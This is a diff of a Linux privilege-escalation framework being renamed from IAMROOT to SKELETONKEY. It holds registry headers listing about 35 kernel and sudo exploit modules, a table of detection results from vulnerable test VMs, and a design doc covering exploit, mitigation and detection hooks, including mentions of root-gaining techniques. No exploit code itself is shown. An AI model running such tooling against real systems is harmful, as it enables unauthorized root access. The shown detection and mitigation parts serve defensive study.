* a field already set by an earlier source. */
|
||||
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
|
||||
|
||||
/* Apply a runtime-leaked kbase to any embedded-table entries that
|
||||
* shipped as relative-to-_text offsets. Idempotent. */
|
||||
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase);
|
||||
|
||||
/* Returns true if modprobe_path can be written (the simplest root-pop
|
||||
* finisher). */
|
||||
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* Returns true if init_task + cred offsets are known (the cred-uid
|
||||
* finisher). */
|
||||
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* For diagnostic logging — pretty-print what we resolved to stderr. */
|
||||
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* Helper: return the name of the source enum. */
|
||||
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
|
||||
|
||||
#endif /* SKELETONKEY_OFFSETS_H */
|
||||
+14
-9
@@ -1,8 +1,13 @@
|
||||
/*
|
||||
* IAMROOT — module registry implementation
|
||||
* SKELETONKEY — module registry implementation
|
||||
*
|
||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||
* than a few dozen modules, so this is fine.
|
||||
*
|
||||
* The canonical "register every family" enumeration lives in
|
||||
* registry_all.c — kept separate so this file links into the
|
||||
* standalone kernel_range unit-test binary without pulling in every
|
||||
* module's symbol.
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
@@ -14,22 +19,22 @@
|
||||
|
||||
#define REGISTRY_CHUNK 16
|
||||
|
||||
static const struct iamroot_module **g_modules = NULL;
|
||||
static const struct skeletonkey_module **g_modules = NULL;
|
||||
static size_t g_count = 0;
|
||||
static size_t g_cap = 0;
|
||||
|
||||
void iamroot_register(const struct iamroot_module *m)
|
||||
void skeletonkey_register(const struct skeletonkey_module *m)
|
||||
{
|
||||
if (m == NULL || m->name == NULL) {
|
||||
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
|
||||
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
|
||||
return;
|
||||
}
|
||||
if (g_count == g_cap) {
|
||||
size_t new_cap = g_cap + REGISTRY_CHUNK;
|
||||
const struct iamroot_module **n =
|
||||
const struct skeletonkey_module **n =
|
||||
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
|
||||
if (n == NULL) {
|
||||
fprintf(stderr, "[!] iamroot_register: OOM\n");
|
||||
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
|
||||
return;
|
||||
}
|
||||
g_modules = n;
|
||||
@@ -38,18 +43,18 @@ void iamroot_register(const struct iamroot_module *m)
|
||||
g_modules[g_count++] = m;
|
||||
}
|
||||
|
||||
size_t iamroot_module_count(void)
|
||||
size_t skeletonkey_module_count(void)
|
||||
{
|
||||
return g_count;
|
||||
}
|
||||
|
||||
const struct iamroot_module *iamroot_module_at(size_t i)
|
||||
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
|
||||
{
|
||||
if (i >= g_count) return NULL;
|
||||
return g_modules[i];
|
||||
}
|
||||
|
||||
const struct iamroot_module *iamroot_module_find(const char *name)
|
||||
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
|
||||
{
|
||||
if (name == NULL) return NULL;
|
||||
for (size_t i = 0; i < g_count; i++) {
|
||||
|
||||
+52
-26
@@ -1,40 +1,66 @@
|
||||
/*
|
||||
* IAMROOT — module registry
|
||||
* SKELETONKEY — module registry
|
||||
*
|
||||
* Global list of registered modules. Each family contributes via
|
||||
* register_<family>_modules() called from iamroot main() at startup.
|
||||
* register_<family>_modules() called from skeletonkey main() at startup.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_REGISTRY_H
|
||||
#define IAMROOT_REGISTRY_H
|
||||
#ifndef SKELETONKEY_REGISTRY_H
|
||||
#define SKELETONKEY_REGISTRY_H
|
||||
|
||||
#include "module.h"
|
||||
|
||||
void iamroot_register(const struct iamroot_module *m);
|
||||
void skeletonkey_register(const struct skeletonkey_module *m);
|
||||
|
||||
size_t iamroot_module_count(void);
|
||||
const struct iamroot_module *iamroot_module_at(size_t i);
|
||||
size_t skeletonkey_module_count(void);
|
||||
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
|
||||
|
||||
/* Find a module by name. Returns NULL if not found. */
|
||||
const struct iamroot_module *iamroot_module_find(const char *name);
|
||||
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
|
||||
|
||||
/* Each module family declares one of these in its public header. The
|
||||
* top-level iamroot main() calls them in order at startup. */
|
||||
void iamroot_register_copy_fail_family(void);
|
||||
void iamroot_register_dirty_pipe(void);
|
||||
void iamroot_register_entrybleed(void);
|
||||
void iamroot_register_pwnkit(void);
|
||||
void iamroot_register_nf_tables(void);
|
||||
void iamroot_register_overlayfs(void);
|
||||
void iamroot_register_cls_route4(void);
|
||||
void iamroot_register_dirty_cow(void);
|
||||
void iamroot_register_ptrace_traceme(void);
|
||||
void iamroot_register_netfilter_xtcompat(void);
|
||||
void iamroot_register_af_packet(void);
|
||||
void iamroot_register_fuse_legacy(void);
|
||||
void iamroot_register_stackrot(void);
|
||||
void iamroot_register_af_packet2(void);
|
||||
void iamroot_register_cgroup_release_agent(void);
|
||||
void iamroot_register_overlayfs_setuid(void);
|
||||
* top-level skeletonkey main() calls them in order at startup. */
|
||||
void skeletonkey_register_copy_fail_family(void);
|
||||
void skeletonkey_register_dirty_pipe(void);
|
||||
void skeletonkey_register_entrybleed(void);
|
||||
void skeletonkey_register_pwnkit(void);
|
||||
void skeletonkey_register_nf_tables(void);
|
||||
void skeletonkey_register_overlayfs(void);
|
||||
void skeletonkey_register_cls_route4(void);
|
||||
void skeletonkey_register_dirty_cow(void);
|
||||
void skeletonkey_register_ptrace_traceme(void);
|
||||
void skeletonkey_register_netfilter_xtcompat(void);
|
||||
void skeletonkey_register_af_packet(void);
|
||||
void skeletonkey_register_fuse_legacy(void);
|
||||
void skeletonkey_register_stackrot(void);
|
||||
void skeletonkey_register_af_packet2(void);
|
||||
void skeletonkey_register_cgroup_release_agent(void);
|
||||
void skeletonkey_register_overlayfs_setuid(void);
|
||||
void skeletonkey_register_nft_set_uaf(void);
|
||||
void skeletonkey_register_af_unix_gc(void);
|
||||
void skeletonkey_register_nft_fwd_dup(void);
|
||||
void skeletonkey_register_nft_payload(void);
|
||||
void skeletonkey_register_sudo_samedit(void);
|
||||
void skeletonkey_register_sequoia(void);
|
||||
void skeletonkey_register_sudoedit_editor(void);
|
||||
void skeletonkey_register_vmwgfx(void);
|
||||
void skeletonkey_register_dirtydecrypt(void);
|
||||
void skeletonkey_register_fragnesia(void);
|
||||
void skeletonkey_register_pack2theroot(void);
|
||||
void skeletonkey_register_sudo_chwoot(void);
|
||||
void skeletonkey_register_udisks_libblockdev(void);
|
||||
void skeletonkey_register_pintheft(void);
|
||||
void skeletonkey_register_mutagen_astronomy(void);
|
||||
void skeletonkey_register_sudo_runas_neg1(void);
|
||||
void skeletonkey_register_tioscpgrp(void);
|
||||
void skeletonkey_register_vsock_uaf(void);
|
||||
void skeletonkey_register_nft_pipapo(void);
|
||||
|
||||
#endif /* IAMROOT_REGISTRY_H */
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
* in sync — adding a new module is one register_* declaration here
|
||||
* and one call inside skeletonkey_register_all_modules() in
|
||||
* core/registry.c (the test harness picks it up automatically). */
|
||||
void skeletonkey_register_all_modules(void);
|
||||
|
||||
#endif /* SKELETONKEY_REGISTRY_H */
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
/*
|
||||
* SKELETONKEY — canonical "register every module family" enumeration.
|
||||
*
|
||||
* Kept in its own translation unit so registry.c stays standalone:
|
||||
* the kernel_range unit-test binary links registry.c (for the basic
|
||||
* register / count / find API) without pulling in every module's
|
||||
* symbol. The main binary and detect-integration test link this
|
||||
* file too and get the full lineup.
|
||||
*
|
||||
* Adding a new module is one new register_<family>() declaration in
|
||||
* registry.h plus one call below — the integration test picks it up
|
||||
* via skeletonkey_register_all_modules() in its main().
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
void skeletonkey_register_all_modules(void)
|
||||
{
|
||||
skeletonkey_register_copy_fail_family();
|
||||
skeletonkey_register_dirty_pipe();
|
||||
skeletonkey_register_entrybleed();
|
||||
skeletonkey_register_pwnkit();
|
||||
skeletonkey_register_nf_tables();
|
||||
skeletonkey_register_overlayfs();
|
||||
skeletonkey_register_cls_route4();
|
||||
skeletonkey_register_dirty_cow();
|
||||
skeletonkey_register_ptrace_traceme();
|
||||
skeletonkey_register_netfilter_xtcompat();
|
||||
skeletonkey_register_af_packet();
|
||||
skeletonkey_register_fuse_legacy();
|
||||
skeletonkey_register_stackrot();
|
||||
skeletonkey_register_af_packet2();
|
||||
skeletonkey_register_cgroup_release_agent();
|
||||
skeletonkey_register_overlayfs_setuid();
|
||||
skeletonkey_register_nft_set_uaf();
|
||||
skeletonkey_register_af_unix_gc();
|
||||
skeletonkey_register_nft_fwd_dup();
|
||||
skeletonkey_register_nft_payload();
|
||||
skeletonkey_register_sudo_samedit();
|
||||
skeletonkey_register_sequoia();
|
||||
skeletonkey_register_sudoedit_editor();
|
||||
skeletonkey_register_vmwgfx();
|
||||
skeletonkey_register_dirtydecrypt();
|
||||
skeletonkey_register_fragnesia();
|
||||
skeletonkey_register_pack2theroot();
|
||||
skeletonkey_register_sudo_chwoot();
|
||||
skeletonkey_register_udisks_libblockdev();
|
||||
skeletonkey_register_pintheft();
|
||||
skeletonkey_register_mutagen_astronomy();
|
||||
skeletonkey_register_sudo_runas_neg1();
|
||||
skeletonkey_register_tioscpgrp();
|
||||
skeletonkey_register_vsock_uaf();
|
||||
skeletonkey_register_nft_pipapo();
|
||||
}
|
||||
@@ -0,0 +1,329 @@
|
||||
/*
|
||||
* SKELETONKEY — verification records table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-verifications.py from
|
||||
* docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.
|
||||
*
|
||||
* Source: tools/verify-vm/verify.sh appends one JSON record per
|
||||
* run; this generator dedupes to (module, vm_box, kernel, expect)
|
||||
* and keeps the latest by verified_at.
|
||||
*/
|
||||
|
||||
#include "verifications.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
const struct verification_record verifications[] = {
|
||||
{
|
||||
.module = "af_packet",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_packet2",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_unix_gc",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cgroup_release_agent",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cls_route4",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirty_pipe",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirtydecrypt",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.19.7-061907-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "entrybleed",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "fuse_legacy",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "netfilter_xtcompat",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nf_tables",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_fwd_dup",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_payload",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_pipapo",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_set_uaf",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs_setuid",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pack2theroot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "ptrace_traceme",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "pwnkit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sequoia",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "stackrot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.10-060110-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_chwoot",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_runas_neg1",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_samedit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudoedit_editor",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "tioscpgrp",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.4.0-26-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "udisks_libblockdev",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t verifications_count =
|
||||
sizeof(verifications) / sizeof(verifications[0]);
|
||||
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out)
|
||||
{
|
||||
if (count_out) *count_out = 0;
|
||||
if (!module) return NULL;
|
||||
const struct verification_record *first = NULL;
|
||||
size_t n = 0;
|
||||
for (size_t i = 0; i < verifications_count; i++) {
|
||||
if (strcmp(verifications[i].module, module) == 0) {
|
||||
if (first == NULL) first = &verifications[i];
|
||||
n++;
|
||||
}
|
||||
}
|
||||
if (count_out) *count_out = n;
|
||||
return first;
|
||||
}
|
||||
|
||||
bool verifications_module_has_match(const char *module)
|
||||
{
|
||||
size_t n = 0;
|
||||
const struct verification_record *r = verifications_for_module(module, &n);
|
||||
for (size_t i = 0; i < n; i++)
|
||||
if (r[i].status && strcmp(r[i].status, "match") == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
/*
|
||||
* SKELETONKEY — per-module verification records
|
||||
*
|
||||
* "Verified-on" entries — concrete (distro, kernel, date) tuples where
|
||||
* tools/verify-vm/verify.sh has empirically confirmed a module's
|
||||
* detect() verdict against a known-vulnerable target. Each entry is one
|
||||
* row from docs/VERIFICATIONS.jsonl, auto-generated into the C table
|
||||
* by tools/refresh-verifications.py.
|
||||
*
|
||||
* Modules with >=1 record carry an empirical-trust badge ("✓ verified
|
||||
* on Ubuntu 20.04.6 / 5.4.0") in --list / --module-info / --explain
|
||||
* output. Modules with zero records are still tested at the unit level
|
||||
* (synthetic fingerprints), but have not yet been confirmed on a real
|
||||
* vulnerable kernel.
|
||||
*
|
||||
* Append-only by intent: each verify.sh run appends a fresh JSONL line
|
||||
* (timestamped); the refresh script dedupes to (module, vm_box,
|
||||
* kernel, expect_detect) when generating the C table so re-runs of the
|
||||
* same scenario update rather than accumulate.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_VERIFICATIONS_H
|
||||
#define SKELETONKEY_VERIFICATIONS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct verification_record {
|
||||
const char *module; /* module name (matches struct skeletonkey_module.name) */
|
||||
const char *verified_at; /* "YYYY-MM-DD" (date-only; full timestamp truncated) */
|
||||
const char *host_kernel; /* uname -r value, e.g. "5.4.0-169-generic" */
|
||||
const char *host_distro; /* /etc/os-release PRETTY_NAME, e.g. "Ubuntu 20.04.6 LTS" */
|
||||
const char *vm_box; /* vagrant box name, e.g. "generic/ubuntu2004" */
|
||||
const char *expect_detect; /* "VULNERABLE" / "OK" / "PRECOND_FAIL" — what targets.yaml said */
|
||||
const char *actual_detect; /* what skeletonkey --explain returned */
|
||||
const char *status; /* "match" iff actual == expected; otherwise "MISMATCH" */
|
||||
};
|
||||
|
||||
extern const struct verification_record verifications[];
|
||||
extern const size_t verifications_count;
|
||||
|
||||
/* Returns the first record (count via *count_out) for the named module,
|
||||
* or NULL if the module has no recorded verifications. The records are
|
||||
* stored contiguously in the table, so once you have the pointer you
|
||||
* can iterate count_out entries forward. */
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out);
|
||||
|
||||
/* True iff the module has at least one "match" record. */
|
||||
bool verifications_module_has_match(const char *module);
|
||||
|
||||
#endif /* SKELETONKEY_VERIFICATIONS_H */
|
||||
+54
-12
@@ -14,7 +14,7 @@ modules/<module_name>/
|
||||
├── MODULE.md # Human-readable writeup of the bug
|
||||
├── NOTICE.md # Credits to original researcher
|
||||
├── kernel-range.json # Machine-readable affected kernels
|
||||
├── module.c # Implements iamroot_module interface
|
||||
├── module.c # Implements skeletonkey_module interface
|
||||
├── module.h
|
||||
├── detect/
|
||||
│ ├── auditd.rules # blue team detection
|
||||
@@ -24,10 +24,10 @@ modules/<module_name>/
|
||||
└── tests/ # per-module tests (run in CI matrix)
|
||||
```
|
||||
|
||||
### `iamroot_module` interface (planned, Phase 1)
|
||||
### `skeletonkey_module` interface (planned, Phase 1)
|
||||
|
||||
```c
|
||||
struct iamroot_module {
|
||||
struct skeletonkey_module {
|
||||
const char *name; /* "copy_fail" */
|
||||
const char *cve; /* "CVE-2026-31431" */
|
||||
const char *summary; /* one-line description */
|
||||
@@ -35,29 +35,29 @@ struct iamroot_module {
|
||||
/* Return 1 if host appears vulnerable, 0 if patched/immune,
|
||||
* -1 if probe couldn't run. May call entrybleed_leak_kbase()
|
||||
* etc. from core/ if a leak primitive is needed. */
|
||||
int (*detect)(struct iamroot_host *host);
|
||||
int (*detect)(struct skeletonkey_host *host);
|
||||
|
||||
/* Run the exploit. Caller has already passed the
|
||||
* authorization gate. Returns 0 on root acquired,
|
||||
* nonzero on failure. */
|
||||
int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
|
||||
int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);
|
||||
|
||||
/* Apply a runtime mitigation for this CVE (sysctl, module
|
||||
* blacklist, etc.). Returns 0 on success. NULL if no
|
||||
* mitigation is offered. */
|
||||
int (*mitigate)(struct iamroot_host *host);
|
||||
int (*mitigate)(struct skeletonkey_host *host);
|
||||
|
||||
/* Undo --exploit-backdoor or --mitigate side effects. */
|
||||
int (*cleanup)(struct iamroot_host *host);
|
||||
int (*cleanup)(struct skeletonkey_host *host);
|
||||
|
||||
/* Affected kernel version range, distros covered, etc. */
|
||||
const struct iamroot_kernel_range *ranges;
|
||||
const struct skeletonkey_kernel_range *ranges;
|
||||
size_t n_ranges;
|
||||
};
|
||||
```
|
||||
|
||||
Modules register themselves at link time via a constructor-attribute
|
||||
table. The top-level `iamroot` binary iterates the registry on each
|
||||
table. The top-level `skeletonkey` binary iterates the registry on each
|
||||
invocation.
|
||||
|
||||
## Shared `core/`
|
||||
@@ -78,11 +78,15 @@ Code that more than one module needs lives in `core/`:
|
||||
|
||||
## Top-level dispatcher
|
||||
|
||||
`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
||||
`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
|
||||
|
||||
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
||||
`--detect-rules`, `--cleanup`, etc.)
|
||||
2. Fingerprint the host
|
||||
2. **Fingerprint the host** — `core/host.c` is called once at startup
|
||||
to populate `struct skeletonkey_host` (kernel version + arch +
|
||||
distro + capability gates + service presence). The result is
|
||||
handed to every module via `ctx->host`. See "Host fingerprint"
|
||||
below.
|
||||
3. For `--scan`: iterate module registry, call each module's
|
||||
`detect()`, emit table of results
|
||||
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
|
||||
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
|
||||
5. For `--detect-rules`: walk module registry, concatenate detection
|
||||
files in the requested format
|
||||
|
||||
## Host fingerprint (`core/host.{h,c}`)
|
||||
|
||||
A single `struct skeletonkey_host` is populated once at startup and
|
||||
exposed to every module via `ctx->host` (a stable pointer for the
|
||||
process lifetime). It carries:
|
||||
|
||||
- **Identity:** `struct kernel_version kernel` + arch + nodename +
|
||||
distro id/version/pretty (parsed from `/etc/os-release`).
|
||||
- **Process state:** euid, real_uid (defeats the userns illusion by
|
||||
reading `/proc/self/uid_map`), egid, username, is_root,
|
||||
is_ssh_session.
|
||||
- **Platform family:** is_linux, is_debian_family, is_rpm_family,
|
||||
is_arch_family, is_suse_family.
|
||||
- **Capability gates (Linux):** unprivileged_userns_allowed (live
|
||||
fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
|
||||
kpti_enabled, kernel_lockdown_active, selinux_enforcing,
|
||||
yama_ptrace_restricted.
|
||||
- **System services:** has_systemd, has_dbus_system.
|
||||
|
||||
Modules that want to consult the fingerprint do:
|
||||
|
||||
```c
|
||||
#include "../../core/host.h"
|
||||
/* ... */
|
||||
if (ctx->host && !ctx->host->unprivileged_userns_allowed)
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
if (ctx->host->kernel.major < 7)
|
||||
return SKELETONKEY_OK; /* predates the bug */
|
||||
```
|
||||
|
||||
The migration is opt-in per module — modules that don't `#include`
|
||||
host.h continue to do their own probes; modules that do save the
|
||||
duplicate work and get a consistent view across the whole scan.
|
||||
|
||||
`--auto` and `--scan` (in verbose mode) print a two-line banner of
|
||||
the fingerprint via `skeletonkey_host_print_banner()` so operators
|
||||
can see at a glance which gates are open.
|
||||
|
||||
## CI matrix
|
||||
|
||||
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
|
||||
@@ -109,7 +151,7 @@ the module).
|
||||
1. `git checkout -b add-cve-XXXX-NNNN`
|
||||
2. `cp -r modules/_stubs/_template modules/<module_name>`
|
||||
